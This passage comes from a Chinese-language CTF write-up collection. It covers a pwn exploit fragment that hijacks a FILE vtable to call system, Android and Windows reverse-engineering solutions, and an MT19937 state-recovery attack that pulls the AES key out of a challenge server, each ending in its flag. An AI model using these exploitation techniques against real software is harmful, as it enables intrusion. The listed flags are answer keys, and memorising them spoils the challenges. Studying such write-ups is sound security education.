w(0xC0, 1, 4); w(0xD8, libc.sym._IO_wfile_jumps)
w(0xE8+0x18, 0); w(0xE8+0x20, 1); w(0xE8+0x30, 0)
w(0xE8+0xE0, wide_vtable); w(0x200+0x68, libc.sym.system)
edit(4, bytes(fake), 0x400)
add(0x20, b\"X\"*8)
add(0x20, p64(fp))
menu(5)
io.sendline(b\"cat flag\")
print(io.recvall(timeout=2).decode(errors=\"replace\"))
exit → _IO_flush_all → _IO_wfile_overflow → system(fp)。_flags 用 sh,避免 sh\\x00 带上 _IO_UNBUFFERED。
Bye!
flag{ecb2473e-cdfd-4e97-bfef-4c4899d4aa1b}
安卓逆向1:WebPortal
摘要
APK 用 WebView + JNI nativeGetFlag(token) 取 flag。token 是 md5(android_id)(长度 32),assets/native/flag.dat 可用 so 内固定密钥离线解密。
解题过程
第 1 步:离线解密 flag.dat
libchallenge.so 中 Java_com_xiaoyuyc_mobile1_JsBridge_nativeGetFlag:token 转小写后与 md5(Settings.Secure.ANDROID_ID) 比较;通过后读 native/flag.dat(M1: + hex)。解密密钥为 so 中两段 16 字节 XOR:
5d91c42eb70368f019aa7c44d3289f61
XOR 57b1e285de927a932e4b7f5d777671fd
= 0a2026ab6991126337e10319a45eee9c
对密文按字节:key[(3+5i)&0xf] 链式 XOR、i*0x1d+0x41、rol3,i%7!=0 时再按 i%7 旋转。
#!/usr/bin/env python3
from pathlib import Path
from zipfile import ZipFile
apk = Path(\"WebPortal_1.0.apk\")
with ZipFile(apk) as z:
blob = bytes.fromhex(z.read(\"assets/native/flag.dat\")[3:].decode())
so = z.read(\"lib/arm64-v8a/libchallenge.so\")
k1 = bytes.fromhex(\"5d91c42eb70368f019aa7c44d3289f61\")
k2 = bytes.fromhex(\"57b1e285de927a932e4b7f5d777671fd\")
key = bytes(a ^ b for a, b in zip(k1, k2))
MAGIC = 0x2492492492492493
def imod7(i):
x16 = (i * MAGIC) >> 64
x0 = i - x16
x16 = (x16 + (x0 >> 1)) >> 2
return (i + x16 - (x16 << 3)) & 0xFFFFFFFFFFFFFFFF
w15 = (key[7] ^ 0xFFFFFFA5) & 0xFFFFFFFF
x9, out = 3, bytearray()
for i, orig in enumerate(blob):
w15 = (key[x9 & 0xF] ^ w15) & 0xFFFFFFFF
w15 = (w15 ^ ((i * 0x1D + 0x41) & 0xFFFFFFFF)) & 0xFFFFFFFF
w15 = (((w15 >> 5) & 7) | ((w15 << 3) & 0xFFFFFFFF)) & 0xFFFFFFFF
w16 = (w15 ^ orig) & 0xFFFFFFFF
x17 = imod7(i)
if x17:
rot, inv = x17 & 7, (-x17) & 7
w16 = (((w16 & 0xFF) >> rot) | ((w16 << inv) & 0xFFFFFFFF)) & 0xFFFFFFFF
out.append(w16 & 0xFF)
x9 += 5
print(out.decode())
flag{WebView_MobIleI_2026Year}
安卓逆向2:茧中人
摘要
壳 libloader.so 用 Build.FINGERPRINT ^ 0x5A 解密 assets/init_res 得到 DEX。checkFlag 是 native:输入与静态 CIPHER_BLOCK 按签名哈希低字节做 XOR/rol3 比较。界面拼 flag{ + 输入 + }。
解题过程
第 1 步:解 DEX 并还原 checkFlag
init_res 解密:prev=0xAA,out[i]=rol6(prev ^ i ^ ct[i] ^ (fp[i%len(fp)]^0x5A)),prev=ct[i]。用 DEX 魔数/header_size/endian/string_ids_off 恢复 16 字节密钥,对应指纹前缀 com.xiaoyuyc.mob,Adler32 校验通过。
DEX 中 VerificationCenter.CIPHER_BLOCK 在 <clinit>:
c9886591cbb30850a9218890395a6d1759aef4c561d78644515c
native checkFlag(String, byte[]):state = (sigHash & 0xff) ^ 0x83,对每个输入字节 state = rol3(state ^ in[i]),要求 (state + 3*i) & 0xff == cipher[i]。so 内写死期望签名哈希 0xb743fbd9(低字节 0xd9)。逆向得明文 cyctf_mobile2_2026year_yes。
#!/usr/bin/env python3
from pathlib import Path
from zipfile import ZipFile
import struct, zlib
apk = Path(\"茧中人_1.0.apk\")
with ZipFile(apk) as z:
ct = z.read(\"assets/init_res\")
def rol6(x):
return ((x << 6) | ((x >> 2) & 0x3F)) & 0xFF
def ror6(x):
return ((x >> 6) | ((x << 2) & 0xFF)) & 0xFF
def recover(i, pt):
prev = 0xAA if i == 0 else ct[i - 1]
return (ror6(pt) ^ prev ^ i ^ ct[i]) & 0xFF
key = [0] * 16
for i, pt in enumerate(b\"dex\
035\\x00\"):
key[i] = recover(i, pt)
for off, raw in (
(0x20, struct.pack(\"<I\", len(ct))),
(0x24, struct.pack(\"<I\", 0x70)),
(0x28, struct.pack(\"<I\", 0x12345678)),
(0x2C, b\"\\x00\" * 8),
(0x3C, struct.pack(\"<I\", 0x70)),
):
for j, pt in enumerate(raw):
key[(off + j) & 0xF] = recover(off + j, pt)
dex = bytearray(len(ct))
prev = 0xAA
for i in range(len(ct)):
dex[i] = rol6(prev ^ (i & 0xFF) ^ ct[i] ^ key[i & 0xF])
prev = ct[i]
assert dex.startswith(b\"dex\
\") and zlib.adler32(dex[12:]) & 0xFFFFFFFF == struct.unpack_from(\"<I\", dex, 8)[0]
cipher = bytes.fromhex(\"c9886591cbb30850a9218890395a6d1759aef4c561d78644515c\")
def ror3(x):
return ((x >> 3) | ((x << 5) & 0xFF)) & 0xFF
h, state, pt = 0xD9, 0xD9 ^ 0x83, bytearray()
for i, c in enumerate(cipher):
inp = state ^ ror3((c - 3 * i) & 0xFF)
pt.append(inp)
state = c
print(\"flag{\" + pt.decode() + \"}\")
flag{cyctf_mobile2_2026year_yes}
RE1:Galgame
摘要
题目给出一个 Ren'Py 游戏包。核心脚本被编译成 RPYC2 文件,校验逻辑和一个经过单字节 XOR 的目标值都保存在解压后的序列化数据中。提取目标并用同样的 XOR 逆变换即可恢复输入。
解题过程
第 1 步:解包 RPYC2
游戏脚本位于 game/script.rpyc,文件头为 RENPY RPC2。头部后紧跟一个小端记录:
slot, offset, compressed_length = struct.unpack(\"<III\", ...)
取出对应的 zlib 数据并解压。解压结果不是普通源码,而是 Ren'Py 序列化的 AST;其中仍保留了 exec 节点中的 Python 源码字符串。
第 2 步:恢复目标输入
在解压数据中可以看到:
heart = b'OJN\\x1b\\x1a\\x1c\\x1aHULLI\\x1dUL\\x1c\\x1dKU\\x1a\\x19KOULO\\x1cHKJ\\x1e\\x1dO\\x1a@\\x19'
def dec(content):
return ''.join([chr(ord(i) ^ 0x78) for i in content]).encode()
encry_input = dec(user_input)
if encry_input == heart:
# success
dec 对每个字节异或 0x78。异或满足自反性,因此直接计算 heart[i] ^ 0x78 即可得到正确输入。成功提示还要求提交时加上 WuCup 前缀。
完整复现脚本:
\"\"\"Recover the accepted input from a Ren'Py RPYC2 script.\"\"\"
import ast
import re
import struct
import sys
import zlib
from pathlib import Path
def solve(path: str) -> None:
blob = Path(path).read_bytes()
magic = b\"RENPY RPC2\"
assert blob.startswith(magic)
slot, offset, length = struct.unpack_from(\"<III\", blob, len(magic))
assert slot == 1
payload = zlib.decompress(blob[offset : offset + length])
match = re.search(rb\"heart\\s*=\\s*(b'(?:[^'\\\\]|\\\\.)*')\", payload)
assert match, \"heart was not found\"
heart = ast.literal_eval(match.group(1).decode(\"ascii\"))
answer = bytes(byte ^ 0x78 for byte in heart).decode(\"ascii\")
print(answer)
print(f\"WuCup{{{answer}}}\")
if __name__ == \"__main__\":
solve(sys.argv[1])
输出:
726cbdb0-441e-4de3-ba37-47d032fe7b8a
WuCup{726cbdb0-441e-4de3-ba37-47d032fe7b8a}
RE2:tea
摘要
Windows PE tea.exe 用 WCP 加壳,运行后提示输入 flag。脱壳后可见标准 TEA 解密:密钥由四组常量按字合成,密文 10 个 uint32 解密得到 UUID,再拼成 flag{...}。
解题过程
第 1 步:识别与脱壳
tea.exe 为 x64 PE。磁盘上 .text 的 SizeOfRawData 为 0,节名 WCP0/WCP1/WCP2,代码被加壳。COFF 符号仍在:tea_decrypt_block、reconstruct_key、prefix_nums、enc_words、k_a–k_d、main。
程序启动后打印 Please enter the flag:。此时镜像已解密,读取进程模块即可拿到明文 .text / .rdata。
第 2 步:还原校验逻辑
main 流程:
reconstruct_key(key):对i=0..3,key[i] = (k_a[i] ^ k_b[i]) + k_c[i] ^ k_d[i](32 位)。- 将
enc_words(10 个 LEuint32)两两一组,调用tea_decrypt_block(标准 TEA,DELTA=0x9e3779b9,32 轮,sum初值为DELTA<<5)。 - 解密结果去掉末尾
\\0后为 36 字节 UUID。 - 期望 flag =
\"flag{\" + uuid + \"}\",与输入做strcmp。
第 3 步:解密
import struct
enc = bytes.fromhex(
\"e349767d2cc5826264f2fef47088cb55\"
\"2a75aea83fd53aa3027ca31f1c601361\"
\"b418ef602c1131eb\"
)
k_a = bytes.fromhex(\"4c3d2e1f0d0c0b0a4433221188776655\")
k_b = bytes.fromhex(\"ddccbbaaccbbaa996655443300998877\")
k_c = bytes.fromhex(\"04030201080706051211100916151413\")
k_d = bytes.fromhex(\"efbeaddecefaedfeea1dadab0df0ad0b\")
def u32s(b):
return list(struct.unpack(\"<\" + \"I\" * (len(b) // 4), b))
A, B, C, D = u32s(k_a), u32s(k_b), u32s(k_c), u32s(k_d)
key = [((A[i] ^ B[i]) + C[i] ^ D[i]) & 0xFFFFFFFF for i in range(4)]
DELTA = 0x9E3779B9
def tea_decrypt_block(v0, v1, key):
s = (DELTA << 5) & 0xFFFFFFFF
for _ in range(32):
v1 = (v1 - (((v0 << 4) + key[2]) ^ (v0 + s) ^ ((v0 >> 5) + key[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + key[0]) ^ (v1 + s) ^ ((v1 >> 5) + key[1]))) & 0xFFFFFFFF
s = (s - DELTA) & 0xFFFFFFFF
return v0, v1
ws = u32s(enc)
out = b\"\"
for i in range(0, len(ws), 2):
a, b = tea_decrypt_block(ws[i], ws[i + 1], key)
out += struct.pack(\"<II\", a, b)
print(b\"flag{\" + out.rstrip(b\"\\x00\") + b\"}\".decode())
运行输出:
flag{0d3747db-16f6-4c62-9665-b3e7531cefc8}
RE3:maze
摘要
Go 编写的 50×50 迷宫程序:用固定 LCG 生成主路径和额外通路,校验 U/R/D/L 路径后计算 md5(path + \":\" + len(path)) 作为 flag。平台验收的是字典序偏右(先 R 后 D)的最短路径。
解题过程
第 1 步:识别逻辑
maze.exe 是 stripped 的 Go 1.24 Windows PE。pclntab 恢复出用户函数:
main.initMazemain.generateMainPathmain.addExtraPaths(实际内联进initMaze)main.validatePathmain.calculateMD5main.main
迷宫为 int64 maze[50][50],1 是墙,0 是路。起点 (0,0),终点 (49,49)。
initMaze:
- 全部填墙。
- 种子
0x123456789abcdef0走generateMainPath:LCGseed = seed * 0x5851f42d4c957f2d + 0x14057b7ef767814f,取(seed >> 62) & 3。0/2向右(列 +1),1/3向下(行 +1),越界则丢弃。 - 用同一个初始种子再跑 300 次 LCG,把
(seed>>32)%48+1, (seed>>16)%48+1打成通路。
validatePath 按字符查表移动:U=(-1,0), R=(0,+1), D=(+1,0), L=(0,-1)。越界、撞墙或未到达终点则失败。
通过后 Sprintf(\"%s:%d\", path, len),再 md5 十六进制,打印 Flag: flag{%s}。程序提示“最短路径”,曼哈顿距离为 98,最短路径只能由 49 次 R 和 49 次 D 组成。
第 2 步:复现迷宫并取最短路径
主路径也能通过校验,但平台不收主路径对应的 hash。共 48 条仅含 R/D 的最短路径;验收的是每一步优先向右、不能再向右时才向下的那条。
import hashlib
N = 50
SEED = 0x123456789ABCDEF0
MUL = 0x5851F42D4C957F2D
ADD = 0x14057B7EF767814F
MASK = (1 << 64) - 1
def lcg(seed):
return (seed * MUL + ADD) & MASK
maze = [[1] * N for _ in range(N)]
seed = SEED
maze[0][0] = 0
x = y = 0
while not (x == N - 1 and y == N - 1):
seed = lcg(seed)
d = (seed >> 62) & 3
nx, ny = x, y
if d in (0, 2):
ny = y + 1
else:
nx = x + 1
if 0 <= nx < N and 0 <= ny < N:
x, y = nx, ny
maze[x][y] = 0
seed = SEED
for _ in range(300):
seed = lcg(seed)
maze[(seed >> 32) % 48 + 1][(seed >> 16) % 48 + 1] = 0
maze[0][0] = maze[N - 1][N - 1] = 0
ways = [[0] * N for _ in range(N)]
ways[N - 1][N - 1] = 1
for i in range(N - 1, -1, -1):
for j in range(N - 1, -1, -1):
if maze[i][j] != 0:
ways[i][j] = 0
continue
if i == N - 1 and j == N - 1:
continue
w = 0
if i + 1 < N:
w += ways[i + 1][j]
if j + 1 < N:
w += ways[i][j + 1]
ways[i][j] = w
x = y = 0
path = []
while (x, y) != (N - 1, N - 1):
for ch, nx, ny in ((\"R\", x, y + 1), (\"D\", x + 1, y)):
if 0 <= nx < N and 0 <= ny < N and maze[nx][ny] == 0 and ways[nx][ny] > 0:
path.append(ch)
x, y = nx, ny
break
s = \"\".join(path)
flag = \"flag{\" + hashlib.md5(f\"{s}:{len(s)}\".encode()).hexdigest() + \"}\"
print(s)
print(flag)
本地运行 maze.exe,输入该路径后输出:
路径长度: 98
Flag: flag{a3fa97e1e52759ea6b4122c7008cb9e5}
crypto1:againCBC
摘要
服务用固定 AES-CBC 密钥反复加密 flag,但每次都会用 random.randbytes(16) 生成新 IV 并完整回显。Python random 是 MT19937,收集对齐的 624 个 32-bit 输出即可还原状态、反向 twist 恢复密钥,再解密任意一份密文。
解题过程
题目源码:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from random import randbytes
from secret import flag
key = randbytes(16)
while input(\">>> \"):
aes = AES.new(key, AES.MODE_CBC, iv=randbytes(16))
print(\"your gift: \" + (aes.iv + aes.encrypt(pad(flag, 16))).hex())
远程:nc challenge.xiaoyuyc.com 24372
漏洞 1:密钥与 IV 共用同一 MT19937
- 位置:
key = randbytes(16)以及循环内iv=randbytes(16)。 - 触发:任意非空输入都会再生成并回显一组
IV || C。 - 成因:
random.randbytes(n)实现为getrandbits(n*8).to_bytes(n, 'little'),每次 16 字节对应 4 个连续 32-bit MT 输出。 - 影响:IV 是已知的 PRNG 输出;密钥是同一生成器更早的 4 个输出。
- 利用:收集足够 IV,untemper 得到内部状态,再
untwist回到生成 key 时的状态。 - 验证:本地用
Random(0xDEADBEEF)复现同一流程,恢复出的 key 与真实 key 完全一致。
Python 新 Random 的 mti 初始为 624(刚 twist 完)。key 消耗 4 个 word 后 mti=4。再输出 155 个 IV 后:4 + 155*4 = 624,恰好再次 twist。随后 156 个 IV 就是一整批对齐的 624 个输出。
漏洞 2:AES-CBC 本身不提供完整性,拿到 key 即可解密
- 位置:
aes.encrypt(pad(flag, 16)),并把aes.iv明文拼接返回。 - 触发:任意一次查询。
- 成因:密钥一旦从 PRNG 恢复,CBC 解密只依赖
key与该次IV。 - 影响:任意一份 gift 都可直接解密出 flag。
- 利用 / 验证:用恢复的 key 对第一份
gift[16:]做AES-CBCdecrypt + unpad,得到flag{...}。
第 1 步:收集对齐 IV、反向 twist、解密
#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
HOST, PORT = \"challenge.xiaoyuyc.com\", 24372
N, M = 624, 397
MATRIX_A = 0x9908B0DF
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7FFFFFFF
def unshift_right(x, shift):
res = x
for _ in range(32):
res = x ^ (res >> shift)
return res
def unshift_left(x, shift, mask):
res = x
for _ in range(32):
res = x ^ ((res << shift) & mask)
return res
def untemper(v):
v = unshift_right(v, 18)
v = unshift_left(v, 15, 0xEFC60000)
v = unshift_left(v, 7, 0x9D2C5680)
v = unshift_right(v, 11)
return v
def temper(y):
y ^= (y >> 11)
y ^= (y << 7) & 0x9D2C5680
y ^= (y << 15) & 0xEFC60000
y ^= (y >> 18)
return y & 0xFFFFFFFF
def untwist(mt):
w, n, m = 32, 624, 397
a = 0x9908B0DF
MT = mt[:]
for i in range(n - 1, -1, -1):
result = 0
tmp = MT[i] ^ MT[(i + m) % n]
if tmp & (1 << (w - 1)):
tmp ^= a
result = (tmp << 1) & (1 << (w - 1))
tmp = MT[(i - 1 + n) % n] ^ MT[(i + m - 1) % n]
if tmp & (1 << (w - 1)):
tmp ^= a
result |= 1
result |= (tmp << 1) & ((1 << (w - 1)) - 1)
MT[i] = result
return MT
def words_from_bytes(b):
return [int.from_bytes(b[i:i + 4], \"little\") for i in range(0, len(b), 4)]
def bytes_from_words(ws):
return b\"\".join(w.to_bytes(4, \"little\") for w in ws)
def recover_key(ivs):
words = []
for iv in ivs:
words.extend(words_from_bytes(iv))
state = [untemper(w) for w in words]
prev = untwist(state)
return bytes_from_words(temper(x) for x in prev[:4])
def recv_until(s, marker=b\">>> \"):
buf = b\"\"
while not buf.endswith(marker):
chunk = s.recv(4096)
if not chunk:
raise EOFError(buf)
buf += chunk
return buf
def main():
s = socket.create_connection((HOST, PORT), timeout=30)
recv_until(s)
gifts = []
for _ in range(155 + 156):
s.sendall(b\"a\
\")
line = b\"\"
while b\"\
\" not in line:
chunk = s.recv(4096)
if not chunk:
raise EOFError(line)
line += chunk
hx = line.decode().split(\"your gift: \", 1)[1].split()[0]
gifts.append(bytes.fromhex(hx))
key = recover_key([g[:16] for g in gifts[155:155 + 156]])
ct = gifts[0]
pt = unpad(AES.new(key, AES.MODE_CBC, iv=ct[:16]).decrypt(ct[16:]), 16)
print(pt.decode())
if __name__ == \"__main__\":
main()
运行输出:
flag{b110a659-ebf9-4073-9b1c-b52416cc621e}
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论